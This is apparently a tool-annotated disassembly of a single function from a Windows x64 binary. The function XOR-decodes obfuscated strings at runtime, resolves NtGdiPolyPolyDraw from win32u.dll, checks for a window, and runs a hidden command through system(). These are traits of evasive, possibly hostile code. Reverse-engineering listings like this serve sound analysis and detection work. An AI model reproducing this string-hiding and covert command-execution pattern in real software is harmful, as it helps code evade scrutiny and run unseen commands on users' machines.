Function at 0x140096740
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x28]
sub rsp, 0x120
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movaps xmmword [r11 - 0x38], xmm8
movaps xmmword [r11 - 0x48], xmm9
movaps xmmword [r11 - 0x58], xmm10
movaps xmmword [r11 - 0x68], xmm11
mov rax, qword [0x140135080]
xor rax, rsp
mov qword [rbp - 0x50], rax
mov esi, dword [reloc.WS2_32.dll_accept]
mov dil, 1
movdqa xmm9, xmmword [0x1401245a0]
xor r14d, r14d
movdqa xmm8, xmmword [0x1401245e0]
movdqa xmm10, xmmword [0x140124590]
movdqa xmm7, xmmword [0x1401248a0]
movdqa xmm6, xmmword [0x140124560]
movdqa xmm11, xmmword [0x140124580]
mov qword [r11 + 8], rbx
nop dword [rax + rax]
cmp qword [0x140136108], r14
jne 0x140096822
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400967fd
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140096875
lea rdx, str.NtGdiPolyPolyDraw
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140136108], rax
test rax, rax
jne 0x140096822
mov qword [0x140136108], r14
jmp 0x140096875
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x140137a10]
xorps xmm0, xmm0
test eax, eax
mov edx, 4
movups xmmword [rsp + 0x70], xmm0
cmovne ecx, eax
mov dword [rsp + 0x78], ecx
lea rcx, [rsp + 0x70]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
call fcn.1400a0650
test al, al
mov rbx, r14
cmovne rbx, qword [rbp - 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp rbx, rax
je 0x140096c31
mov eax, dword [0x140123960]
mov r8d, r14d
movsd xmm0, qword [str.e__VUYaV_UL_]
mov dword [rsp + 0x30], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x34], al
movsd qword [rsp + 0x28], xmm0
cmp esi, 2
jl 0x140096976
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
mov r8d, 8
pmuldq xmm1, xmm7
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, dword [str.e__VUYaV_UL_]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rsp + 0x28], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x2c]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movd dword [rsp + 0x2c], xmm1
movsxd rax, r8d
lea r9, [rsp + 0x28]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140096981
xor edx, edx
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140096c31
test dil, dil
je 0x1400967d0
cmp byte [0x140123987], r14b
mov eax, dword [str.S_A3_VV]
mov dword [rsp + 0x20], eax
je 0x140096a94
cmp esi, 2
jl 0x140096a52
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
jmp 0x140096a94
lea r9, [rsp + 0x20]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140096a60
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140123b61], r14b
movups xmm0, xmmword [0x140123b48]
movzx eax, word [0x140123b60]
mov word [rsp + 0x50], ax
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [0x140123b58]
movsd qword [rsp + 0x48], xmm0
je 0x140096c1f
mov ecx, r14d
cmp esi, 2
jl 0x140096be2
movdqa xmmword [rsp + 0x60], xmm8
lea rdx, [rsp + 0x3c]
mov r8d, dword [rsp + 0x60]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm6
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140096af0
cmp ecx, 0x1a
jge 0x140096c1f
movsxd rax, ecx
lea r8, [rsp + 0x38]
add r8, rax
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp ecx, 0x1a
jl 0x140096bf0
lea rcx, [rsp + 0x38]
call fcn.140052de0
xor dil, dil
jmp 0x1400967d0
mov rbx, qword [rsp + 0x130]
mov rcx, qword [rbp - 0x50]
xor rcx, rsp
call fcn.140100a20
lea r11, [rsp + 0x120]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop rbp
ret